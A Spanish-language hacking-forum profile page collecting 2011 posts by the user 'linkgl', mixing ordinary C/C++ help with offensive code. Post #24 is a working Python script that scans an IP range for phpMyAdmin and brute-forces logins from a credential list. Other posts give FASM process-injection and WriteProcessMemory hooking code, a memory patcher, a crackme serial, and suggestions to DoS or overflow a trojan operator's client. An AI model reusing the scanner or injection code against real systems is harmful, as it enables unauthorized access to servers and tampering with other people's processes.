Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - linkgl

#21
Jaja no bro, me refería a que tú uses un sniffer para ver a donde conecta xDD, el olly es un desensamblador jeje si no lo sabes usar no vas a llegar lejos jeje pero con el puedes ir traceando viendo cómo se comporta el programa, que llamadas hace que guarda en el stack, sus strings, y demás cosillas y en base a esto encontrar la rutina donde envia/recibe datos por sockets e intentar hacer una shellcode para enviar por sockets varias veces y que cause un buffer overflow al cliente de el tipo xD incluso puedes sacar a donde conecta y todo, x) hasta se puede hookear a recv si lo usa y ver los datos que envia xDD jeje nomas que es un poco complicado si no sabes bien lo que haces
#22
Códigos Fuentes / Listar directorios recursivamente
Agosto 14, 2011, 02:56:00 PM
El código salió ayudando a un usuario en un foro, lista los directorios que hay dentro de una ruta y los subdirectorios todoosss también xD perfecto como para hacer un buscador ¿?, no me molesté en optimizarlo porque precisamente no fue algo planeado xD

xD
Código: c
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>


void listarr(LPSTR szDirectorio,LPSTR szNDirectorio)
{
 
  int decoracion_bonita_de_linkgl=1;
  WIN32_FIND_DATA wfd;
  HANDLE ff;
  ff=FindFirstFile(szDirectorio,&wfd);
  if(ff!=0)
  {
    while(FindNextFile(ff,&wfd)!=0)
    {
      if(wfd.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
      {
        if((strcmpi(wfd.cFileName,".")!=0)&&(strcmpi(wfd.cFileName,"..")!=0))
        {
          //printf("%s \n",wfd.cFileName);
          char temp[260]={'\0'};
          char szCDirectorio[260]={'\0'};
          strcpy(szCDirectorio,szNDirectorio);
          strcat(szCDirectorio,wfd.cFileName);
          strcat(szCDirectorio,"/");
          strcpy(temp,szCDirectorio);
          strcat(temp,"*.*");
           
          printf("%s\n",temp);
          //->impresion
          char imp[260]={'\0'};
          strcpy(imp,szNDirectorio);
          strcat(imp,wfd.cFileName);
          strcat(imp,"/");
          //printf("%s\n",imp);
          listarr(temp,szCDirectorio);
        }
      }
    }
  }
  else
  {
    printf("handle error");
  }
}
int main()
{
  listarr("C:/*.*","C:/");
  printf("fin");
  getchar();
  return 0;
}
#23
Usa algun sniffer¿?

Destripalo con olly capaz que se le puede hacer un remote bufferoverflow o hacerle un DoS conectando y desconectando bot's a su troyano cuando menos xD :)
#24
Python / Python phpmyadmin "BruteForce"
Agosto 14, 2011, 12:23:10 PM
He creado esta versión pública que prueba un user y pass en un rango de ip's que se le otorgue, jeje luego saldrá la otra versión que busca de una manera más inteligente las ip's y con un fichero donde probar distintos users/pass para acceder al phpmyadmin de algun sitio  ;D
Código: python
#!usr/bin/python
import httplib, urllib, urllib2, cookielib
print """
_                ___                                ___
| |              |   \\                              |  _\\
| |__            |  _/                              |   \\
|____| I N K G L |_|  H P M Y A D M I N F I N D E R |___/ R U T E F O R C E
       - indetectables.net/foro/ -
     - Orgulloso de ser Indetectable -
     - funcion-linkgl.blogspot.com -
"""
###############################
# Script desarrollado         #
# por linkgl                  #
# v.Publica                   #
# 03/01/11                    #
# Funcion-linkgl.blogspot.com #
# indetectables.net           #
# Orgulloso de ser            #
# indetectable                #
###############################
ipInicial=raw_input("Introduce la IP inicial\n")
ipFinal=raw_input("Introduce la IP final\n")
contador=1
cont=0
while(ipInicial != ipFinal):
  corte=ipInicial.split(".")
  if (corte[3]!="255"): 
    corte[3]=contador
  else:
    corte[2]=int(corte[2])+1
    corte[3]=0
    contador=1
  ipInicial=corte[0]+"."+corte[1]+"."+str(corte[2])+"."+str(corte[3])

  try:
    conexion = httplib.HTTPConnection(ipInicial,80,timeout=0.2)
    conexion.request ("GET", "/phpmyadmin/index.php")
    respuesta = conexion.getresponse()
    data=respuesta.read()
    if(data.find("phpMyAdmin")!=-1):
      print "LPB bot: phpMyAdmin Encontrado en ->" + ipInicial + "/phpmyadmin<- Iniciando bruteforce"
      fp=open("bd.txt","r")
      linea=fp.readline()
      while(linea!=""):
        log=linea.split(":")
        galleta = cookielib.CookieJar()
        variables = urllib.urlencode({'lang':'en-utf-8','convcharset':'iso-8859-1','server': '1','submit': 'Go','pma_username': log[0],'pma_password': log[1]})
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(galleta))
        site = opener.open("http://"+ipInicial+"/phpmyadmin/index.php", variables).read()
        if(site.find(ipInicial)!=-1):
          print "LPB bot: Accediste al sistema -> " + log[0] + ":" + log[1]
        linea=fp.readline()
      fp.close() 
  except:
    cont=0
   
  contador=contador+1
#25
Códigos Fuentes / Detectar EOF usando el PE
Agosto 14, 2011, 12:13:14 PM
Bueno esta función retorna true si existe EOF en un ejecutable y false si no existe jeje saludos!.
Código: c
#include <stdio.h>
#include <windows.h>
/***************************\
*        _                  *
*       | |                 *
*       | |__               *
* Coder |____|inkgl         *
* Fecha: 02/01/11           *
\***************************/

bool existe_EOF(char *ruta)
{
  //-> Estructuras necesarias
  IMAGE_DOS_HEADER idh;
  IMAGE_NT_HEADERS inh;
  IMAGE_SECTION_HEADER ish;
  //-> Variables necesarias
  FILE *fp;
  DWORD iTam;
  DWORD hTam;
  //Abrimos el archivo para leer en binario
  fp=fopen(ruta,"rb");
  if(fp!=NULL)
  {
    fseek(fp,0,SEEK_END);
    iTam=ftell(fp);
    rewind(fp);
    fread(&idh,sizeof(IMAGE_DOS_HEADER),1,fp);
    fseek(fp,idh.e_lfanew,SEEK_SET);
    fread(&inh,sizeof(IMAGE_NT_HEADERS),1,fp);
    fseek(fp,idh.e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * (inh.FileHeader.NumberOfSections - 1),SEEK_SET);
    fread(&ish,sizeof(IMAGE_SECTION_HEADER),1,fp);
    fclose(fp);
    hTam=ish.PointerToRawData + ish.SizeOfRawData;
    if(hTam < iTam)
      return true;
    else
      return false;
  }
}

//->USO
int main()
{
  if(existe_EOF("C:\\salida.exe"))
    printf("El ejecutable tiene EOF");
  else
    printf("El ejecutable no tiene EOF");
  getchar();
  return 0;
}
#26
Dudas y pedidos generales / Re:Duda sobre C/C++
Agosto 14, 2011, 12:49:16 AM
que puedes crear clases y dentro de estas funciones y demás y puedes acceder a estas en cualquier parte del programa (dependiendo tambien de que sean publicas o privadas estas funciones dentro de ellas) enrealidad simplifica mucho el trabajo en un proyecto muy grande donde se requiere usar las mismas funciones varias veces y cuando trabajas sobre todo en equipo con alguien más, la progrmación orientada a objetos o POO no es más que definir objetos y sus propiedades ejemplo en pseudocódigo

class caja //Definimos el objeto caja
{
  public function propiedades(x,y)
  {
    acho=x
    alto=y
  }
  public function hacer(accion)
  {
    if(accion="mover")
      print "Una caja no se mueve";
  }
}
llamar=new caja();
llamar->propiedades(10,5);
llamar->hacer("mover");

Jeje no se es un ejemplo soso que se me ocurrió, pero enrealidad tiene muchas más utilidades, puedes crear constructores, incluso clases hijas y heredar propiedades xD eso lo vas a ver ya que estudies POO en algun lenguaje (como C++) o php POO o python POO o alguno que pueda ser orientado a objetos jeje
#27
Dudas y pedidos generales / Re:Duda sobre C/C++
Agosto 14, 2011, 12:30:45 AM
Da igual lo que estudies primero, ambas sintaxis son similares una vez que aprendes un lenguaje es fácil dominar los demás la cosa esta en el manual que uses si en ese manual explican C y despues en C++ usan algun término de C entonces tendrás problema pero realmente no hay problema con que empieces primero con C++ y luego con C o viceversa el chiste de C++ esque lo puedes usar orientado a objetos pero enrealidad no hay problema en cual aprendas primero  :D
#28
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si, asi es. Solo que en Python. Y si no me equivoco es compatible con los Iphone. Osea que puedes dosear desde el movil

Vaya, se ve interesante, habrá que hechar un ojo al src!
#29
Es la herramienta que usan los de "anonymous" para dosear no? un tal LOIC o algo así xD
#30
Códigos Fuentes / Re:convertir a hexadecimal
Agosto 14, 2011, 12:22:42 AM
Jeje muy bueno, pero no es necesario declarar la variable tam, ni la variable cadena x) mejor ahorratelas

Código: php
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char usage()
{
     printf("\t ---> usage: hex word-to-convert [max length: 50]\n\t ---> example: hex blozzter\n\n");
     }
     


int main(int argc, char *argv[])
{
  int i;

  if (argc == 2) {  //me aseguro que se le haya pasado solo un argumento
           if (strlen(argv[1]) <= 50) {  //admito un maximo de 50 caracteres
               printf("%s ==>\t", argv[1]);
               for(i=0;argv[1][i]!='\0';i++) {  //mientras la cadena no termine, imprimo en hexadecimal ( %x )
                    printf("%X", argv[1][i]);
                    }
                   
              printf("\n");
               }
            else {
                 usage();
                 }
               }
  else {
       usage();
       }
       
  return 0;
}

:D saludos.!
#31
ASM / HOOK WriteProcessMemory
Agosto 14, 2011, 12:10:30 AM
Acá hice un ejemplo donde hookeo a la API WriteProcessMemory, y guardo los bytes que se querían escribir en la memoria en un archivo .txt jeje (la base para un runpekiller ¿?), estoy en la fase optimización (quitando variables que solo use una vez y algunas que usé para debuggear) pero quería compartirlo porque pues me tomó un rato x) ojalá les guste:

PD: No usa dll.
Código: asm
Format PE GUI 4.0
entry start
include 'win32ax.inc'

;@HOOK WriteprocessMemory             |
;  @Coder: linkgl                     |
;    @Fecha: 10/08/11                 |
;      @Agradecimientos:              |
;         The swash, Drinky94         |
;         & Haker Zero/Yst            |
;        @Sitios web:                 |
;          Indetectables.net          |
;          foro.h-sec.org             |
;_____________________________________|
proceso db 'c:\writeprocessmemory.exe',0
linkpi PROCESS_INFORMATION <>
linksi STARTUPINFO <>
temp dd ?,0
tempu dd ?,0
tam dd ?,0
handle dd ?,0


start:
  invoke CreateProcessA,0,addr proceso,0,0,0,CREATE_SUSPENDED,0,0,linksi,linkpi
  invoke LoadLibrary,"kernel32.dll"
  mov [temp],eax
  invoke GetProcAddress,[temp],"VirtualProtect"
  mov [mVP],eax
  invoke GetProcAddress,[temp],"GetProcAddress"
  mov [gpa],eax
  invoke GetProcAddress,[temp],"LoadLibraryA"
  mov [gmh],eax
  invoke GetProcAddress,[temp],"CreateFileA"
  mov [cfa],eax
  invoke GetProcAddress,[temp],"WriteFile"
  mov [wfa],eax
  invoke GetProcAddress,[temp],"SetFilePointer"
  mov [sfp],eax
  invoke GetProcAddress,[temp],"CloseHandle"
  mov [chl],eax

  invoke LoadLibrary,"user32.dll"
  mov [tempu],eax
  invoke GetProcAddress,[tempu],"MessageBoxA"
  mov [msgbox],eax


  mov ebx,final
  sub ebx,inyectame
  mov [tam],ebx
  invoke VirtualAllocEx,[linkpi.hProcess],0,[tam],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  mov [handle],eax
  invoke WriteProcessMemory,[linkpi.hProcess],[handle],addr inyectame,[tam],0
  invoke CreateRemoteThread,[linkpi.hProcess],0,0,[handle],0,0,0
; invoke Sleep,3000
  invoke ResumeThread,[linkpi.hThread]
ret

proc inyectame
  ;EDX = DELTAOFFSET
  ;ESI = EBX
  ;EDI = CUALQUIEROTRACOSA
   call offset
   offset:
   pop edx
   sub edx,offset
   mov edi,edx
   mov esi,edx
   mov esi,edx
   mov edi,edx
   push edx
   ;getmodulehandle
   add edx,kernel
   push edx
   call [edi+gmh] ;getmodulehandle
   ;restaurar
   pop edx
   push edx
   ;getprocaddress
   add edx,wpm
   push edx
   push eax
   call [edi+gpa] ;getprocaddress
   mov ebx,eax
   ;restaura
   pop edx
   push edx
   ;virtualprotect
   add edi,originalp
   push edi
   push 0x40
   push 0x5
   push ebx
   call [edx+mVP]
   ;restaura
   pop edx
   mov edi,edx
   push edx
   ;dir.virtual guardada
   add edx,vwriteprocessmemory
   mov dword [edx],ebx
   ;restaura
   pop edx
   ;modifica bytes
   mov byte [ebx],0xE9
   inc ebx
   mov ecx,hook
   add ecx,edx
   sub ecx,ebx
   sub ecx,4
   mov dword [ebx],ecx
   ret

restaurar:
  mov edi,edi ;esto esta en la api al principio
  push ebp   ;esto tambien, fue lo que pisamos
  mov ebp,esp  ;y esto tambien se piso
  ;add edx,vwriteprocessmemory
  mov eax,[edx+vwriteprocessmemory] ;nos desplazamos a la posicion en memoria de la api
  add eax,5 ;y saltamos 5 bytes (los que habiamos escrito)
  jmp eax

hook:
  call ofdelta
  ofdelta:
  pop edx
  sub edx,ofdelta
  mov esi,edx
;->sacamoslos parametros y los pusheamos
  pop eax ;retorno :P
  pop ebx  ;parametros
  mov [edx+p1],ebx
  pop ebx
  mov [edx+p2],ebx
  pop ebx
  mov [edx+p3],ebx
  pop edi
  mov [edx+p4],edi
  push [edx+p4]
  push [edx+p3]
  push [edx+p2]
  push [edx+p1]
  push eax
  ; push eax
  ;Guardamos el delta para que no nos de errores al restaurar el api
  push edx
  ;createfilea
  add edx,ruta
  push 0
  push 0
  push 4
  push 0
  push 0
  push 0x40000000
  push edx
  call [esi+cfa];createfilea
  mov [esi+hndle],eax
  ;restauramos
  pop edx
  mov esi,edx
  push edx
  ;setfilepointer
  push 2
  push 0
  push 0
  push [esi+hndle]
  call [esi+sfp]  ;setfilepointer
  ;restauramos
  pop edx
  mov esi,edx
  push edx
  ;writefile
  add esi,leidos
  push 0
  push esi
  push edi
  push ebx
  push [edx+hndle]
  call [edx+wfa] ;writefile
  ;limpiamos
  pop edx
  mov esi,edx
  push edx

  push [esi+hndle]
  call [esi+chl]

  ;restauramos el offset delta
  pop edx
  mov ecx,edx
  add ecx,restaurar
  ;msgbox->
  jmp ecx



  vwriteprocessmemory dd ? ;Direccion WriteProcessMemory
  msgbox dd ?  ;Dirección MessageBox
  tit db "Inyectado",0
  msg db "Ya me inyecte",0
  mVP dd ? ;Direccion virtualprotect
  originalp dd ?
  kernel db "KERNEL32.DLL",0
  wpm db "WriteProcessMemory",0
  ruta db 'j:\salida.txt',0
  gpa dd ? ;Dir getprocaddress
  gmh dd ? ;Dir loadlibrary/getmodulehandle en su defecto
  cfa dd ? ;Dir createfilea
  wfa dd ? ;Dir writefilea
  sfp dd ? ;Dir setfilepointer
  hndle dd ?
  chl dd ?
  leidos dd ? ;puntero para writefile bytesleidos
  p1 dd ?
  p2 dd ?
  p3 dd ?
  p4 dd ?

  endp
  final:
data import
  library kernel32,'kernel32.dll'
  import kernel32,CreateProcessA,'CreateProcessA',\
  GetModuleHandle,'GetModuleHandleA',\
  GetProcAddress,'GetProcAddress',\
  VirtualAllocEx,'VirtualAllocEx',\
  WriteProcessMemory,'WriteProcessMemory',\
  CreateRemoteThread,'CreateRemoteThread',\
  LoadLibrary,'LoadLibraryA',\
  ResumeThread,'ResumeThread',\
  Sleep,'Sleep'
end data
#32
Dudas y pedidos generales / Re:[Ayuda] [C++]
Agosto 13, 2011, 03:14:21 PM
En  el enlace que pones estan todos los archivos necesarios, no uso el IDE codeblocks pero crea un nuevo proyecto y a tu main.cpp (o archivo principal) le pegas el source que en comentarios dice main.cpp luego añades un archivo al proyecto llamado base64.hpp y le añades el source que esta en el comentario de base64.hpp y al final el base64.cpp y añades el source que falta... O así debería de ser no me detuve a mirar bien pero ahí tienes todo lo que necesitas...
#33
Dudas y pedidos generales / Re:[Ayuda] [C++]
Agosto 13, 2011, 02:14:19 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pues muestranos ese "include", si no tienes ese fichero no va a funcionar tu programa.

Como consigo ese fichero, tengo vario rato buscando en google pero no me aparece o por lo menos no ami.

Difícil decirte, busca en el mismo sitio donde viste ese source, por ahí busca la librería base64 lo que pasa que esa librería no es estandar es creada por terceros y por ende tienes que bajarla y añadirla a tu proyecto da igual si es base64.h como dice sensei o se llama blabla.h el chiste es que la tienes que bajar y añadir a tu proyecto porque NO es estandar :P si ya la bajaste verifíca el nombre e incluyela
#34
Dudas y pedidos generales / Re:[Ayuda] [C++]
Agosto 13, 2011, 01:44:21 PM
Pues muestranos ese "include", si no tienes ese fichero no va a funcionar tu programa.
#35
ASM / Re:Inyección de código en memoria
Agosto 13, 2011, 01:12:18 PM
Jeje naah, de hecho es la parte fácil lo que sí me rompió un poco las pelotas fue el API Hooking que es lo que viene después de la inyección pues jamás había hecho uno jeje luego comparto el código igual no es muy difícil de entender
#36
ASM / Re:Inyección de código en memoria
Agosto 13, 2011, 01:06:59 PM
Dale, edita lo que veas necesario ;), pondré las etiquetas code con el lenguaje que use desde ahora xDD
#37
Esta función modifica el valor de algun registro en runtime, puedes usar openprocess o algun sleep si quieres obtener/escribir el valor en algun evento jeje yo cambié el entrypoint haciendo que al cargar el programa eax cambie de valor en el ejemplo, utilicé la estructura CONTEXT para evitarme líos
Código: c
#include <stdio.h>
#include <windows.h>
 
/*
USOS:
Para obtener el valor de otro registro
cambiar donde dice con.Eax por
con.Registro_que_quieras
*/
 
DWORD ObtenerRegistro(LPSTR proceso)
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   CONTEXT con;
   memset(&si, 0, sizeof(si));
   si.cb = sizeof(STARTUPINFO);
   con.ContextFlags = CONTEXT_FULL;
   if(CreateProcess(NULL, proceso, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)==0)
   {
     return 0;
   }
   GetThreadContext(pi.hThread, &con);
   ResumeThread(pi.hThread);
   return con.Eax;
}
 
BOOL EscribirRegistro(LPSTR proceso,DWORD valor)
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   CONTEXT con;
   memset(&si, 0, sizeof(si));
   si.cb = sizeof(STARTUPINFO);
   con.ContextFlags = CONTEXT_FULL;
   if(CreateProcess(NULL, proceso, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)==0)
   {
     return FALSE;
   }
   GetThreadContext(pi.hThread, &con);
   con.Eax = valor;
   SetThreadContext(pi.hThread,&con);
   ResumeThread(pi.hThread);
   return TRUE;
}
 
//->EJEMPLO DE USO
int main()
{
DWORD eax;
//Cambiamos el valor eax (el entrypoint)
EscribirRegistro("c:\\final.exe",0x413b72f);
eax=ObtenerRegistro("c:\\final.exe");
printf("%x",eax);
getchar();
return 0;
}
#38
ASM / Inyección de código en memoria
Agosto 13, 2011, 12:51:52 PM
Este source es un pedazo de el código que hice para hookear a una API, inyecta código en un nuevo hilo en un proceso, en el ejemplo puse que se ejecutara un msgbox jeje lo comenté para que se entendiera mejor.

Código: asm
Format PE GUI 4.0
entry start
include 'win32ax.inc'

;@Inyección en memoria FASM           |
;  @Coder: linkgl                     |
;_____________________________________|
;Variables necesarias para el programa que va a inyectar
proceso db 'c:\crackme2.exe',0
linkpi PROCESS_INFORMATION <>
linksi STARTUPINFO <>
temp dd ?,0
tempu dd ?,0
tam dd ?,0
handle dd ?,0


start:
  ;Creamos el proceso
  invoke CreateProcessA,0,addr proceso,0,0,0,CREATE_SUSPENDED,0,0,linksi,linkpi
  ;Cargamos user32.dll y sacamos la direccion virtual de MessageBoxA
  invoke LoadLibrary,"user32.dll"
  mov [tempu],eax
  invoke GetProcAddress,[tempu],"MessageBoxA"
  mov [msgbox],eax
  ;Sacamos el tamaño de la funcion a inyectar restando
  ;la dir en memoria de la etiqueta final menos la dir virutal
  ;donde comienza la funcion
  ;(la etiqueta final obviamente debe estar al final de la funcion)
  mov ebx,final
  sub ebx,inyectame
  mov [tam],ebx
  ;Reservamos el espacio en memoria del proceso
  invoke VirtualAllocEx,[linkpi.hProcess],0,[tam],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  mov [handle],eax
  ;Escribimos nuestra funcion en el proceso
  invoke WriteProcessMemory,[linkpi.hProcess],[handle],addr inyectame,[tam],0
  ;Creamos un nuevo hilo donde correra nuestro programa inyectado
  invoke CreateRemoteThread,[linkpi.hProcess],0,0,[handle],0,0,0
; invoke Sleep,3000
;continuamos el hilo del programa normal
  invoke ResumeThread,[linkpi.hThread]
ret

proc inyectame
  ;EDX = OffsetDelta
  call offset
  offset:
  pop edx
  sub edx,offset
  ;Movemos el offset delta a edi y esi
  mov edi,edx
  mov esi,edx
  ;Obtenemos la direccion de tit y msg
  ;con ayuda del offsetdelta
  add edi,tit
  add esi,msg
  ;llamamos a la funcion msgbox
  push 0
  push edi
  push esi
  push 0
  call [edx+msgbox]
  ret

  msgbox dd ?  ;Dirección MessageBox
  tit db "Inyectado",0
  msg db "Ya me inyecte",0
  endp
  final:
data import
  library kernel32,'kernel32.dll'
  import kernel32,CreateProcessA,'CreateProcessA',\
  GetProcAddress,'GetProcAddress',\
  VirtualAllocEx,'VirtualAllocEx',\
  WriteProcessMemory,'WriteProcessMemory',\
  CreateRemoteThread,'CreateRemoteThread',\
  LoadLibrary,'LoadLibraryA',\
  ResumeThread,'ResumeThread'
end data
#39
Ingeniería Inversa / Re:CTCrackMe by CronuX
Agosto 13, 2011, 01:45:25 AM
Sé que es viejo el tema pero nadie lo resolvió, jeje dejo mi serial valido para mi nick:

user:linkgl
serial:8151210

Jeje más tarde pongo la explicación de como se resuelve el crackme (el algoritmo no es difícil de entender lo difícil es generar el serial, suena raro pero así es este crackme) a la hora de calcular la suma de los valores de tus caracteres encriptados viene el problema xDD  :D

-> Edito

Rutina que hace el crackme para quienes no lo han logrado resolver:

1 Toma el usuario y le pasa un cifrado cesar por lo que linkgl me queda como yvaxty

2 Usuario cifrado * longitud del usuario(yvaxty * 6)=103E

Lo que me lleva a deducir que el serial es igual a:

3 103E XOR (Longitud_serial(serial) + 103E)

Escrito de otra forma:

num=Longitud_serial * serial + 103E
EBX=103E XOR num

y toda la operación me tiene que terminar en 9F (BL)

Cuando la condicion de que BL sea 9F, entonces el crackme se validará :P  con esto creo que está más fácil resolverlo  ;D
#40
Buen este es mi primer post aquí, publicaré un source que ya había hecho hace algunos días, es un loader que buscar y parchea bytes en memoria, tiene la opción de buscar determinados bytes determinadas veces en la memoria y parchearlos. La funcion retorna la cantidad de veces que se parchearon los bytes.

Código: c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

DWORD MassiveReplace(DWORD inicio,LPVOID bytes,LPVOID replace,LPSTR proceso,DWORD tam,DWORD limite)
{
/*
@Coder->Linkgl
  @Docs:msdn
    @Este código puede ser editado/modificado, respetando los créditos
*/
  //Estructuras necesarias para las API's siguientes
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  //Llenamos las estructuras con 00 para evitar errores
  ZeroMemory(&si, sizeof(si));
  ZeroMemory(&pi, sizeof(pi));
  //Indicamos el tamaño de la estructura
  si.cb = sizeof(si);
  // -->Variables necesarias <--
  DWORD leidos;
  DWORD contador=0;
  char *value;
  // -->Reservamos el espacio necesario en memoria
  // y lo limpiamos <--
  value=(char *)malloc(tam);
  memset(value,0,tam);
  //-->Creamos el proceso
  if(CreateProcess(proceso,"",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi))
  {
    //-->Bucle para leer los bytes desde la direccion indicada en bloques
    // del tamaño indicado
    while(ReadProcessMemory(pi.hProcess, (LPVOID)inicio, &value, tam, &leidos))
    {
      //->PRINTF Para debuggear la funcion en caso de error
      //printf("%x -> %s -> %s ->%d\n",inicio,&value,bytes,leidos);
      //memset(value,0,tam+10);
      //getchar();
      //->findebug
      //->comparamos ambos punteros
      if(memcmp(bytes,&value,tam)==0)
      {
        //->si son iguales terminamos el proceso en el que trabajamos
        // y retornamos la direccion en memoria donde encontramos los
        // bytes
        if(contador<limite)
        {
          //Reservamos la memoria en esa direccion con un tamaño de la longitud de los bytes
          VirtualProtectEx(pi.hProcess,(LPVOID)inicio,tam,0x40,&leidos);
          //Escribimos los nuevos bytes en la direccion en memoria
          WriteProcessMemory(pi.hProcess,(LPVOID)inicio,replace,tam,&leidos);
          //Incrementamos el contador
          contador++;
        }
      }
      //->Incrementamos la direccion en memoria al siguiente bloque a leer
      inicio++;
      //Sleep(100); si son muchos los bytes a buscar mejor le ponemos un pequeño sleep
    }
    //-->Continuamos el hilo
    ResumeThread(pi.hThread);
   // TerminateProcess(pi.hProcess,0);
    return contador;
  }
  else
  {
    return 0;
  }
}

int main()
{
  //->Ejemplo de uso 
  char buscar[4]={0x00,0x00,0x00};
  char reemplazar[4]={0x90,0x90,0x90};
  int posicion=MassiveReplace(0x401000,buscar,reemplazar,"c:\\crackme2.exe",3,3);
  if(posicion!=0)
    printf("Se reemplazaron-> %d bytes",posicion);
  else printf("no se encontro %s en la memoria virtual del programa",buscar);
  getchar();
  return 0;
}